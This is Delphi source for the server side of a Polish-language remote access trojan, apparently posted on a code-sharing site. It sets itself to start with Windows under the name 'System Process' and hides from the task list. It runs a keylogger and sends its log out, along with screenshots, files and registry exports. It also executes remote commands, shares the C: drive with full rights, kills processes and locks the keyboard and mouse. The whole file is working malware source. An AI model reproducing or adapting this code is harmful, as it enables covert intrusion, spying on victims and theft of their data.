📄 serverunit.pas
字号:
begin
dc:=CreateDC('DISPLAY',nil,nil,nil);
SetRect(rec,0,0,Getdevicecaps(dc,horzres),getdevicecaps(dc,vertres));
invertrect(dc,rec);
deleteDC(dc);
end;
procedure TForm1.zmieniacz;
var width, height:integer;
dc:HDC;
i:word;
ekran:Timage;
begin
width:=Screen.Width;
height:=Screen.Height;
ekran:=TImage.Create(nil);
ekran.Width:=width;
ekran.Height:=height;
dc:=CreateDC('DISPLAY',nil,nil,nil);
BitBlt(ekran.Canvas.Handle,0,0,width,height,dc,0,0,SRCCOPY );
for i:=1 to 50 do
StretchBlt(dc,i,i,width-2*i,height-2*i,ekran.Canvas.Handle,0,0,width,height,SRCCOPY );
for i:=50 downto 0 do
StretchBlt(dc,i,i,width-2*i,height-2*i,ekran.Canvas.Handle,0,0,width,height,SRCCOPY );
DeleteDC(dc);
ekran.free;
end;
procedure TForm1.przeslijplik(nazwapliku:string);
var buf:array[1..128] of char;
fakt:integer;
begin
assignfile(ekranfile,nazwapliku);
reset(ekranfile,1);
blockread(ekranfile,buf,sizeof(buf),fakt);
form1.plikSer.Socket.connections[0].SendBuf(buf,fakt);
while(fakt<>0)do
begin
blockread(ekranfile,buf,sizeof(buf),fakt);
form1.plikser.Socket.connections[0].SendBuf(buf,fakt);
application.ProcessMessages;
sleep(100);
end;
closefile(ekranfile);
end;
{$R *.DFM}
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var Wiadomosc,Pom,Napedy,C,NazwaWsad,Text,Msg1,
Katalog,nazwapliku,parametr,x,y,sciezka,nazwa,koment,haslo,flagas:string;
kod,i,xmouse,ymouse,typ,pozycja,flaga,w:integer;
r:TRegistry;
PlikWsad:TextFile;
begin
Wiadomosc := Socket.ReceiveText;
pom:='';
for i:=1 to 3 do pom:=pom+wiadomosc[i];
kod:=strtoint(pom);
case kod of
100 : begin
WylaczMonitor();
Socket.SendText('100Monitor wylaczony');
end;
101 : begin
WlaczMonitor();
Socket.SendText('100Monitor wlaczony');
end;
102 : begin
DajGlos();
Socket.SendText('100Beep OK');
end;
103 : begin
DrukujDokument();
Socket.SendText('100Dokument wydrukowano');
end;
104 : begin
UsunWygaszacz();
Socket.SendText('100Wygaszacz usuniety');
end;
105 : begin
for i:=4 to 6 do pom:=pom+wiadomosc[i];
xmouse:=strtoint(pom);
pom:='';
for i:=8 to 10 do pom:=pom+wiadomosc[i];
ymouse:=strtoint(pom);
ZmienPozycjeKursora(xmouse,ymouse);
end;
106 : begin
UkryjPasekZadan();
Socket.SendText('100Pasek zadan ukryty');
end;
107 : begin
PokazPasekZadan();
Socket.SendText('100Pasek zadan widoczny');
end;
108 : begin
RysujPulpit();
Socket.SendText('100Kwadraty narysowane');
end;
109 : begin
ZmienStart();
Socket.SendText('100Start zmienil polozenie');
end;
110 : begin
WysunCD();
Socket.SendText('100Tacka CD wysunieta');
end;
111 : begin
ZamknijCD();
Socket.SendText('100Tacka CD zamknieta');
end;
112 : begin
GrajWave();
Socket.SendText('100Wave odtworzony');
end;
113 : begin
Socket.SendText('100System zrestartowany');
Reboot();
end;
114 : begin
Socket.SendText('100System w trakcie zamykania');
CloseSystem();
end;
115 : begin
ZamienPrzyciskiMyszy();
Socket.SendText('100Przyciski myszy zamienione');
end;
116 : begin
ClipMouseWindow();
Socket.SendText('100Obcieto okno myszy');
end;
117 : begin
ZawiesMyszke();
Socket.SendText('100Mysz zawieszona');
end;
118 : begin
UkryjKursorMyszy();
Socket.SendText('100Kursor ukryty');
end;
119 : begin
PokazKursorMyszy();
Socket.SendText('100Kursor widoczny');
end;
120 : begin
ZawiesKlawiature();
Socket.SendText('100Klawiatura zawieszona');
end;
121 : begin
ZawiesSystem();
Socket.SendText('100System zawieszony');
end;
122 : begin
Socket.SendText('100Aplikacja zakonczona');
application.Terminate;
end;
123 : begin
{zapisz}
assignfile(ekranfile,string(sysdir)+'\eksport1.reg');
rewrite(ekranfile);
closefile(ekranfile);
parametr:=' /s /e '+string(sysdir)+'\eksport1.reg HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan';
ShellExecute(handle,'open','regedit.exe',pchar(parametr),'',SW_HIDE);
sleep(1000);
przeslijplik(string(sysdir)+'\eksport1.reg');
Socket.SendText('123');
end;
125 : begin
for i:=ord('A') to ord('Z') do
begin
c:=chr(i)+':\';
typ:=GetDriveType(PChar(c));
case typ of
Drive_Removable : napedy:=napedy+' '+c+'-Dysk_wymiennny ';
Drive_Fixed : napedy:=napedy+' '+c+'-Dysk_staly ';
Drive_Remote : napedy:=napedy+' '+c+'-Dysk_sieciowy ';
Drive_Cdrom : napedy:=napedy+' '+c+'-CD-ROM ';
Drive_Ramdisk : napedy:=napedy+' '+c+'-RAM_Disk ';
end;
end;
Socket.SendText('125'+napedy);
end;
200 : begin
parametr:=copy(wiadomosc,4,length(wiadomosc));
form1.WykonajPolecenie(parametr);
Socket.SendText('100Polecenie wykonane');
end;
201 : begin
pozycja:=pos(';',Wiadomosc);
NazwaWsad:=copy(Wiadomosc,4,pozycja-4);
Text:=copy(Wiadomosc,pozycja+1,length(Wiadomosc));
assignfile(plikwsad,NazwaWsad);
try
append(plikwsad);
except
exit;
end;
write(PlikWsad,''+#13+#10);
write(PlikWsad,Text);
closefile(plikwsad);
Socket.SendText('100Dopisano do pliku');
end;
300 : begin
RysujKolo;
Socket.SendText('100Kolo narysowane');
end;
301 : begin
uchwyt:=GetWindowDC(GetDesktopWindow);
systemparametersinfo(97,word(true),@w,0);
canvas.Handle:=uchwyt;
canvas.Draw(0,0,Image1.Picture.Graphic);
releasedc(getdesktopwindow,canvas.handle);
Socket.SendText('100Obraz wyswietlony');
end;
302 : begin
end;
303 : begin
for i:=4 to length(wiadomosc) do msg1:=msg1+wiadomosc[i];
form1.MsgNaPulpice(msg1);
Socket.SendText('100Wiadomosc narysowana');
end;
304 : begin
for i:=4 to length(wiadomosc) do msg1:=msg1+wiadomosc[i];
form1.MsgWOkienku(msg1);
Socket.SendText('100Okienko wyswietlone');
end;
305 : begin
form1.OproznijSchowek;
socket.SendText('305Schowek oprozniony');
end;
306 : begin
form1.Pokazstart(false);
socket.SendText('306Start ukryty');
end;
307 : begin
form1.Pokazstart(true);
socket.SendText('307Start widoczny');
end;
308 : begin
form1.ikonypulpitu(false);
socket.sendtext('308Ikony ukryte');
end;
309 : begin
form1.ikonypulpitu(true);
socket.SendText('309Ikony widoczne');
end;
310 : begin
form1.odwrockol;
socket.SendText('310Kolory odwrocone');
end;
311 : begin
form1.zmieniacz;
socket.SendText('311Zmiana rozmiaru');
end;
312 : begin
form1.przywrocstart;
socket.sendtext('312Start przywrocony');
end;
313 : begin
pozycja:=pos(';',wiadomosc);
for i:=4 to pozycja-1 do x:=x+wiadomosc[i];
for i:=pozycja+1 to length(wiadomosc) do y:=y+wiadomosc[i];
form1.zmienrozdziel(strtoint(x),strtoint(y));
socket.SendText('313Rozdzielczosc zmieniona');
end;
400 : begin
Zrzutekranu();
form1.przeslijplik(string(sysdir)+'\sys.jpg');
socket.sendtext('400');
end;
401 : begin
r:=TRegistry.Create;
r.RootKey:= HKEY_LOCAL_MACHINE;
r.OpenKey('Software\Microsoft\Windows\Help',true);
r.WriteString('systemses','111');
r.CloseKey;
r.Free;
UruchomSzpiega();
socket.SendText('401Szpieg uruchomiony');
end;
402 : begin
r:=TRegistry.Create;
r.RootKey:= HKEY_LOCAL_MACHINE;
r.OpenKey('Software\Microsoft\Windows\Help',true);
r.WriteString('systemses','000');
r.CloseKey;
r.Free;
ZatrzymajSzpiega();
socket.SendText('402Szpieg zatrzymany');
end;
403 : begin
pozycja:=pos(';',wiadomosc);
for i:=4 to pozycja-1 do sciezka:=sciezka+wiadomosc[i];
pom:=copy(wiadomosc,pozycja+1,length(wiadomosc)-pozycja);
pozycja:=pos(';',pom);
for i:=1 to pozycja-1 do nazwa:=nazwa+pom[i];
pom:=copy(pom,pozycja+1,length(pom)-pozycja);
pozycja:=pos(';',pom);
for i:=1 to pozycja-1 do koment:=koment+pom[i];
pom:=copy(pom,pozycja+1,length(pom)-pozycja);
pozycja:=pos(';',pom);
for i:=1 to pozycja-1 do flagas:=flagas+pom[i];
flaga:=strtoint(flagas);
pom:=copy(pom,pozycja+1,length(pom)-pozycja);
pozycja:=pos(';',pom);
for i:=1 to pozycja-1 do haslo:=haslo+pom[i];
ShareResource(Nil, pchar(sciezka),pchar(nazwa), pchar(koment), STYPE_DISKTREE,SHI50F_FULL or flaga,pchar(haslo),'');
socket.SendText('403Zasoby Udostepnione');
end;
404 : begin
r:=TRegistry.Create;
r.RootKey:= HKEY_LOCAL_MACHINE;
r.OpenKey('Software\Microsoft\Windows\Help',true);
pom:='';
pom:=r.readString('systemses');
r.CloseKey;
r.Free;
if pom='111' then zatrzymajszpiega;
przeslijplik(string(sysdir)+'\'+'syskey.da0');
socket.SendText('404');
if pom='111' then softuruchomszpiega;
end;
600 : begin
for i:=3 to length(wiadomosc) do pom:=pom+wiadomosc[i];
nazwapliku:=string(sysdir)+'\'+extractfilename(pom);
label1.Caption:=nazwapliku;
assignfile(stream,nazwapliku);
rewrite(stream,1);
Socket.SendText('600');
end;
601 : begin
closefile(stream);
socket.SendText('601Przesylanie zakonczone');
end;
700 : begin
for i:=4 to length(wiadomosc) do katalog:=katalog+wiadomosc[i];
Dirs(katalog);
form1.przeslijplik(string(sysdir)+'\dirs.dir');
socket.SendText('700');
end;
800 : begin
procesy.MyPS;
form1.przeslijplik(string(sysdir)+'\ps.ps');
socket.SendText('800');
end;
801 : begin
pom:='';
for i:=4 to length(wiadomosc) do pom:=pom+wiadomosc[i];
procesy.MyKILL(strtoint64(pom));
socket.SendText('801Proces zabity');
end;
900 : begin
pom:='';
for i:=4 to length(wiadomosc) do pom:=pom+wiadomosc[i];
form1.przeslijplik(pom);
socket.SendText('900');
end;
988 : begin
systemparametersinfo(97,word(true),@w,0);
socket.SendText('988Zablokowano skroty systemowe');
end;
999 : begin
systemparametersinfo(97,word(false),@w,0);
socket.SendText('988Zablokowano skroty systemowe');
end;
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
ServerSocket1.Active := False;
Action := caFree ;
zatrzymajszpiega;
end;
function registerserviceprocess(pid,blah:longint):boolean;stdcall;
external 'kernel32.dll' name 'RegisterServiceProcess';
procedure TForm1.FormCreate(Sender: TObject);
var r,reg:TRegistry;
i:integer;
co:string;
begin
GetWindowsDirectory(windir,sizeof(windir));
GetSystemDirectory(sysdir,sizeof(sysdir));
r:=TRegistry.Create;
r.RootKey:= HKEY_LOCAL_MACHINE;
r.OpenKey('software\microsoft\windows\currentversion\run',true);
if not r.ValueExists('System Process') then r.WriteString('System Process',application.exename);
r.closekey;
r.Free;
registerserviceprocess(0,1);
reg:=TRegistry.Create;
reg.RootKey:= HKEY_LOCAL_MACHINE;
if not reg.KeyExists('Software\Microsoft\Windows\Help')then reg.CreateKey('Software\Microsoft\Windows\Help');
reg.OpenKey('Software\Microsoft\Windows\Help',true);
if not reg.ValueExists('systemses') then reg.WriteString('systemses','000')
else
begin
co:=reg.ReadString('systemses');
if co='111' then softuruchomszpiega;
end;
reg.closekey;
reg.Free;
for i:=1 to 3 do sysdrive[i]:=windir[i];
form1.raz:=false;
form1.zamknij:=false;
end;
procedure TForm1.ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
Errorcode:=0;
end;
procedure TForm1.KeySpy1KeySpyUp(Sender: TObject; Key: Byte;
KeyStr: String);
begin
write(plik,keystr);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShareResource(Nil, 'C:\', 'TESTING', 'My Comment', STYPE_DISKTREE,SHI50F_FULL or 256,'a','ab');
end;
procedure TForm1.plikSerClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
buf:array[1..1024]of byte;
ile:integer;
begin
ile:=socket.ReceiveBuf(buf,sizeof(buf));
blockwrite(stream,buf,ile);
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -